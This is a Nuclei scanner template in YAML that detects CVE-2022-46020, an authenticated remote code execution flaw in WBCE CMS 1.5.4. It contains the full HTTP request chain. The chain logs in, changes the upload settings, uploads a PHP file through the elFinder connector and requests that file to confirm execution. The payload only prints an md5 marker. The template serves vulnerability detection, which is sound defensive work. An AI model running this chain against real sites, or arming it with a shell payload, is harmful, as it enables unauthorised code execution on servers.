136 lines
4.7 KiB
YAML
136 lines
4.7 KiB
YAML
id: CVE-2022-46020
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info:
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name: WBCE CMS v1.5.4 - Remote Code Execution
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author: theamanrawat
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severity: critical
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description: |
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WBCE CMS v1.5.4 can implement getshell by modifying the upload file type.
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remediation: |
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Upgrade to a patched version of WBCE CMS v1.5.5 or later to mitigate this vulnerability.
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reference:
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- https://github.com/WBCE/WBCE_CMS
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- https://github.com/10vexh/Vulnerability/blob/main/WBCE%20CMS%20v1.5.4%20getshell.pdf
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- https://nvd.nist.gov/vuln/detail/CVE-2022-46020
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-46020
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cwe-id: CWE-434
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epss-score: 0.01123
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epss-percentile: 0.82952
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cpe: cpe:2.3:a:wbce:wbce_cms:1.5.4:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 6
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vendor: wbce
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product: wbce_cms
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tags: cve,cve2022,rce,wbce,cms,authenticated,intrusive
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http:
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- raw:
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- |
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GET /admin/login/index.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /admin/login/index.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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url=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login
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- |
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GET /admin/settings/index.php?advanced=yes HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /admin/settings/save.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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advanced=yes&formtoken={{formtoken}}&website_title=test&website_description=&website_keywords=&website_header=&website_footer=&page_level_limit=4&page_trash=inline&page_languages=false&multiple_menus=true&home_folders=true&manage_sections=true§ion_blocks=true&intro_page=false&homepage_redirection=false&smart_login=true&frontend_login=false&redirect_timer=1500&frontend_signup=false&er_level=E0&wysiwyg_editor=ckeditor&default_language=EN&default_charset=utf-8&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&search_footer=&search_max_excerpt=15&search_time_limit=0&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&pages_directory=%2Fpages&media_directory=%2Fmedia&page_extension=.php&rename_files_on_upload=
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- |
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POST /modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=---------------------------213974337328367932543216511988
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-----------------------------213974337328367932543216511988
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Content-Disposition: form-data; name="reqid"
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test
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-----------------------------213974337328367932543216511988
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Content-Disposition: form-data; name="cmd"
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upload
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-----------------------------213974337328367932543216511988
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Content-Disposition: form-data; name="target"
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l1_Lw
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-----------------------------213974337328367932543216511988
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Content-Disposition: form-data; name="upload[]"; filename="{{randstr}}.php"
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Content-Type: application/x-php
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<?php
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echo md5("CVE-2022-46020");
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?>
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-----------------------------213974337328367932543216511988
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Content-Disposition: form-data; name="mtime[]"
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test
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-----------------------------213974337328367932543216511988--
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- |
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GET /media/{{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body_6
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words:
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- 751a8ba516522786d551075a092a7a84
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: username_fieldname
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group: 1
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regex:
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- name="username_fieldname" value="(.*)"
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internal: true
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part: body
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- type: regex
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name: password_fieldname
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group: 1
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regex:
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- name="password_fieldname" value="(.*)"
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internal: true
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part: body
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- type: regex
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name: formtoken
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group: 1
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regex:
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- name="formtoken" value="(.*)"
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internal: true
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part: body
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- type: regex
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name: app_name
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group: 1
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regex:
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- name="app_name" value="(.*)"
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internal: true
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part: body
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# digest: 4a0a00473045022100c6f2af2e202ff635b352567b8685436d12e0c1a2f194b37299e6ebeb4b6e80bb02201dd4ace9895f69cbaf3a55e8b6c1e9523fa6f40041918d3163bc8ea8cdb01f46:922c64590222798bb761d5b6d8e72950 |